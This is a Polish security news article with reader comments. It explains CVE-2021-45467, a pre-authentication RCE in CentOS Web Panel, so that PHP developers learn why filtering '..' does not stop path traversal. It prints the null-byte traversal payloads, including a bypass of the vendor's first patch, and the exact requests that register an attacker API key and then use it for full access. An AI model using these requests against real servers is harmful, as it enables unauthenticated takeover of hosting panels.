Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Programisto PHP, mamy dla Ciebie niespodziankę. Wytłumaczymy na przykładzie podatności RCE w CentOS Web Panel (luka nie wymaga uwierzytelnienia)

22 stycznia 2022, 16:54 | Aktualności | komentarzy 20
Tagi: , ,

Tutaj inspirujący odpis podatności – CVE-2021-45467: CWP (CentOS Web Panel) – preauth RCE.

Zobaczcie ten fragment kodu:

<?php
if(!empty($_GET["api"])) {
…
        if (!empty($_GET["scripts"])) {
            $_GET["scripts"] = GETSecurity($_GET["scripts"]);
            include "../../resources/admin/scripts/" . $_GET["scripts"] . ".php";
        }
…

Może dałoby się podać wartość zmiennej scripts jako ../../../ i tym samym zaincludować jakiś inny plik z serwera?

Nie da się! Bo wredny system od razu wykrywa „hacking attempt”. Wykrycie to znajduje się w funkcji GETSecurity():

function GETSecurity($variable)
{
    if (stristr($variable, ".." ) {
        exit("hacking attempt");
    }
 }

Więc jeśli gdziekolwiek w wartości będziemy mieć podwójną kropkę – amen.

No dobrze, ale może podejść do tematu inaczej – czyli w ogóle nie używać dwóch kropek, ale jednak osiągnąć cel: tj. zaincludowanie dowolnego pliku z katalogu nadrzędnego?

No właśnie okazuje się, że można użyć ciągu .%00.

Dochodzimy tym samym do sedna cytowanego badania:

Most PHP’s functions (including the require() and include() functions) seem to process /.%00./ as /../ – Similarly, while stristr() ignores the null bytes, it still counts its size so it bypasses the check.

Co dalej? Można było bez uwierzytelnienia dodać swój klucz API do systemu:

GET https://CWP/user/loader.php?api=1&scripts= .%00./.%00./api/account_new_create&acc=guadaapi&ip=192.168.1.1&keyapi=OCTAGON 

A następnie już śmiało korzystać z klucza API (w przykładzie jego wartość to: OCTAGON), który daje pełny dostęp do wszystkich funkcji w systemie:

Now we have added the api key “OCTAGON” requesting from 192.168.1.1 to have access to the full API like the following: 

GET https://CWP/api/?key=OCTAGON&api=add_server

Dalej poszło względnie z górki, bo wystarczyło odpowiednią funkcją API umieścić kawałek kodu w pliku na serwerze, a później wcześniejszą metodą go zaincludować.

Nota bene, twórcy CentOS Web Panel próbowali nieco panicznej obrony, przygotowując taką łatkę:

function GETSecurity($variable)
{

if (stristr($variable, "..") || stristr($variable, ".%00.")) {        
exit("hacking attempt");
    }
}

Ale można było ją ominąć takim payloadem:

.%00%00%00./.%00%00%00./api/account_new_create

Morał: sprawdzenie w PHP czy jakaś wartość nie zawiera ciągu .. (jako próba ochrony przed podatnością klasy path traversal) może nie być wystarczające.

~Michał Sajdak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Flash

    Nie lepiej bylo uzyc regexpa do takiego filtrowania albo lepiej funkcji typu safe string? Wyglada to jakby jakies nastoletnie dzieci pisaly ten skrypt xd

    Odpowiedz
  2. Tomek

    Mam serwer z cwp, panel nie jest dostępny z zewnątrz tylko lokalnie (nie są otwarte porty panelu admina i userów) czy podatność też mnie dotyczy?

    Odpowiedz
  3. Artur

    Podobno nulle w ścieżkach zostały dawno temu załatane:

    Paths with NULL in them (foo\0bar.txt) are now considered as invalid (CVE-2006-7243).

    Odpowiedz
  4. sekurak

    To jest test skryptu moderującego.

    Sprawdzam, czy da się podszyć pod nadawcę „sekurak” ;-)).

    Odpowiedz
    • wpisać w „from” możesz cokolwiek ;) ale nasze komentarze odpowiednio się odróżniają od reszty (ten się nie odróżnia)

      Odpowiedz
      • podszyty sekurak

        „nasze komentarze odpowiednio się odróżniają od reszty”

        U mnie się nie odróżniają.

        Aha, czy może macie na myśli nieznacznie inny kolor tła?
        Zauważyłem to dopiero wtedy, gdy zrobiłem printscreen i zacząłem przycinać obrazek w programie graficznym.

        Nie widzę różnicy dopóki nie spojrzę na wyświetlacz pod nietypowym kątem.

        Wg mnie lepiej byłoby, gdyby Wasze komentarze bardziej wyraźnie się odróżniały.

        Odpowiedz
        • czyli się wyróżnia, tylko mało wyraziście ;-)

          Odpowiedz
          • sobie kurak

            To nie możecie zrobić, aby się wyróżniały BARDZIEJ wyraziście? Pięknie proszę…

          • pewnie możemy – przy następnej „większej” aktualizacji layoutu (btw ostatnio doszedł „ciemny motyw”)

        • asdsad

          Uoo panie, zmień monitor! Szkoda oczu! Albo poczytaj jak się ustawia jasność i kontrast (choćby na skali szarości). U mnie widać wyraźnie, że Sekurakowe komentarze są na białym.

          Odpowiedz
        • Therminus

          „U mnie się nie odróżniają.”
          Masz kiepski monitor. Albo oczy. :-)
          Ponadto w prawym górnym rogu u prawdziwego sekuraka jest ikonka.

          Odpowiedz
          • sobie kurak

            Zwiekszylem jasnosc do maksimum i nie jest lepiej.

            A zadna ikonka sie nie wyswietla.

            Wiec licze na spelnienie przez Sekuraka obietnicy zwiekszenia roznicy przy okazji aktualizacji layoutu.

  5. kamil

    To jak ma wyglądać funkcja GETSecurity(), żeby to naprawić?

    Odpowiedz
  6. Expert

    Ja ciągle wchodze w te pehapy, ale czy te if to skrót od gif?! I wogule gdzie są te obrazki (te gify).

    Odpowiedz
    • Expert 2

      *w ogóle ;)

      Odpowiedz
  7. Marcin

    To nie kwestia języka a tego kto pisał panel. Równie dobrze mogło to być w Javascript

    Odpowiedz
  8. Artur

    Z ciekawości zanotowałem sobie CVE do sprawdzenia, bo ta podatność wydała mi się grubymi nićmi szyta. Czy to to normalna praktyka, że wpisy do CVE nie są aktualizowane przy potwierdzonych i rozwiązanych podatnościach, czy po prostu chodziło o „ferment” w mediach?

    Odpowiedz

Odpowiedz